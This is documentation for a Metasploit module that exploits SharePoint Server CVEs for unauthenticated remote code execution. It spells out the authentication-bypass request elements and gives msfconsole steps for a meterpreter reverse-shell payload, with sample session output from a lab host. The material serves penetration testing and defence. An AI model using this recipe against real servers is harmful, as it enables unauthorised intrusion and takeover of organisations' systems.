metasploit-gs/documentation/modules/exploit/windows/http/sharepoint_toolpane_rce.md

Vulnerable Application

This module exploits the authentication bypass vulnerabilities CVE-2025-49706 and CVE-2025-53771, and an unsafe deserialization vulnerability CVE-2025-49704, to achieve unauthenticated RCE against a vulnerable Microsoft SharePoint Server. The vulnerability CVE-2025-53770 was disclosed as being a patch bypass of CVE-2025-49704, and as described by the finders, CVE-2025-53770 targets a different endpoint within the /_vti_bin/ URI path. As this exploit module does not target the endpoint associated with CVE-2025-53770 (per the original finders), we believe this module is best described as exploiting CVE-2025-49704 alone (and not CVE-2025-53770).

CVE-2025-49706 is an authentication bypass affecting Microsoft SharePoint Server, allowing a remote unauthenticated attacker to reach the ToolPane page, located at the /_layouts/15/ToolPane.aspx URI. The auth bypass works if an attacker supplies the following elements to an HTTP request:

• An HTTP Referer header with one of the values /_layouts/SignOut.aspx, /_layouts/14/SignOut.aspx, or /_layouts/15/SignOut.aspx.
• An HTTP query parameter named DisplayMode with the value Edit.
• An HTTP query parameter with any name and the value /ToolPane.aspx, so long as this is the last query parameter.
• An HTTP form parameter named MSOTlPn_Uri with the full URL to the /_controltemplates/15/AclEditor.ascx endpoint.

CVE-2025-53771 is a patch bypass for CVE-2025-49706. By appending a trailing / to the target /_layouts/15/ToolPane.aspx URI, e.g. /_layouts/15/ToolPane.aspx/ a remote unauthenticated attacker can reach the ToolPane page.

CVE-2025-49704 is an unsafe deserialization vulnerability due to bypassing a filter list to allow the instantiation of LosFormatter and ObjectDataProvider in the diffgr:diffgram XML document, allowing us to kick off a second stage deserialization gadget (which will be a TypeConfuseDelegate + LosFormatter gadget chain).

The July 8, 2025, patch for CVE-2025-49704 did not apply correctly to a SharePoint site that had not also manually run a SharePoint configuration update. The patch for CVE-2025-49704 did not address the root cause, and instead marked the Microsoft.PerformancePoint.Scorecards.Client assembly as unsafe. The July 19, 2025, patch for CVE-2025-53770 addresses the root cause of CVE-2025-49704 and does not rely on a manual configuration update to be performed in order to be affective.

Testing

This exploit module has been successfully tested against the following versions:

• SharePoint Server 2019 16.0.10337.12109 - This is the RTM version. Is vulnerable to all 4 CVEs. Exploitation is reliable.
• SharePoint Server 2019 16.0.10417.20018 - This is the June 2025 patch level (KB 5002729). Is vulnerable to all 4 CVEs. Exploitation is reliable.
• SharePoint Server 2019 16.0.10417.20027 - This is the July 2025 patch level (KB 5002741). This patched out CVE-2025-49704 and CVE-2025-49706, but is vulnerable to CVE-2025-53770 and CVE-2025-53771. Exploitation is reliable unless the site administrator has manually performed a configuration update.

Setup

Installing Microsoft SharePoint is non-trivial. This setup guide is a great step-by-step tutorial to get up and running.

After you install SharePoint, you must create a new site, bound to a new port. This is what the exploit will target.

NOTE: If you enable HTTPS, you will need to manually setup certificates via IIS Manager.

Verification Steps

1. Start msfconsole
2. use exploit/windows/http/sharepoint_toolpane_rce

Configure the target:

3. set RHOST <TARGET_IP_ADDRESS>
4. set RPORT <TARGET_HTTP_OR_HTTPS_PORT>
5. set SSL true (If targeting HTTPS)

Configure the payload:

NOTE: If testing with the default Meterpreter payloads, you will likely need to disable Defender.

6. set PAYLOAD cmd/windows/http/x64/meterpreter_reverse_tcp
7. set LHOST eth0
8. set LPORT 4444

Run the exploit:

9. check
10. exploit

Scenarios

Example 1 (cmd/windows/http/x64/meterpreter_reverse_tcp)

msf exploit(windows/http/sharepoint_toolpane_rce) > show options 

Module options (exploit/windows/http/sharepoint_toolpane_rce):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: sapni, socks4, socks5, socks5h, http
   RHOSTS   192.168.86.50    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT    80               yes       The target port (TCP)
   SSL      false            no        Negotiate SSL/TLS for outgoing connections
   VHOST                     no        HTTP server virtual host


Payload options (cmd/windows/http/x64/meterpreter_reverse_tcp):

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   EXITFUNC            process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   EXTENSIONS                           no        Comma-separate list of extensions to load
   EXTINIT                              no        Initialization strings for extensions
   FETCH_COMMAND       CERTUTIL         yes       Command to fetch payload (Accepted: CURL, TFTP, CERTUTIL)
   FETCH_DELETE        true             yes       Attempt to delete the binary after execution
   FETCH_FILENAME      ccMNrNsj         no        Name to use on remote system when storing payload; cannot contain spaces or slashes
   FETCH_SRVHOST                        no        Local IP to use for serving payload
   FETCH_SRVPORT       8080             yes       Local port to use for serving payload
   FETCH_URIPATH                        no        Local URI to use for serving payload
   FETCH_WRITABLE_DIR  %TEMP%           yes       Remote writable dir to store payload; cannot contain spaces.
   LHOST               192.168.86.122   yes       The listen address (an interface may be specified)
   LPORT               4444             yes       The listen port


   When FETCH_COMMAND is one of CURL:

   Name        Current Setting  Required  Description
   ----        ---------------  --------  -----------
   FETCH_PIPE  false            yes       Host both the binary payload and the command so it can be piped directly to the shell.


Exploit target:

   Id  Name
   --  ----
   0   Default



View the full module info with the info, or info -d command.

msf exploit(windows/http/sharepoint_toolpane_rce) > check
[*] 192.168.86.50:80 - The target appears to be vulnerable. Detected Microsoft SharePoint Server 2019 version 16.0.10417.20027
msf exploit(windows/http/sharepoint_toolpane_rce) > exploit 
[*] Started reverse TCP handler on 192.168.86.122:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Detected Microsoft SharePoint Server 2019 version 16.0.10417.20027
[*] Meterpreter session 3 opened (192.168.86.122:4444 -> 192.168.86.50:62290) at 2025-07-23 12:58:41 +0100

meterpreter > sysinfo
Computer        : WIN-V28QNSO2H05
OS              : Windows Server 2022 (10.0 Build 20348).
Architecture    : x64
System Language : en_US
Domain          : TESTDOMAIN
Logged On Users : 24
Meterpreter     : x64/windows
meterpreter > pwd
c:\windows\system32\inetsrv
meterpreter > 

Example 2 (cmd/windows/generic)

msf exploit(windows/http/sharepoint_toolpane_rce) > show options 

Module options (exploit/windows/http/sharepoint_toolpane_rce):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: sapni, socks4, socks5, socks5h, http
   RHOSTS   192.168.86.50    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT    80               yes       The target port (TCP)
   SSL      false            no        Negotiate SSL/TLS for outgoing connections
   VHOST                     no        HTTP server virtual host


Payload options (cmd/windows/generic):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------
   CMD   notepad.exe      yes       The command string to execute


Exploit target:

   Id  Name
   --  ----
   0   Default



View the full module info with the info, or info -d command.

msf exploit(windows/http/sharepoint_toolpane_rce) > exploit
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Detected Microsoft SharePoint Server 2019 version 16.0.10417.20027
[*] Exploit completed, but no session was created.
msf exploit(windows/http/sharepoint_toolpane_rce) >

You will be able to observe in Task Manager or Process Explorer that the w3wp.exe process has spawned cmd.exe which has spawned notepad.exe.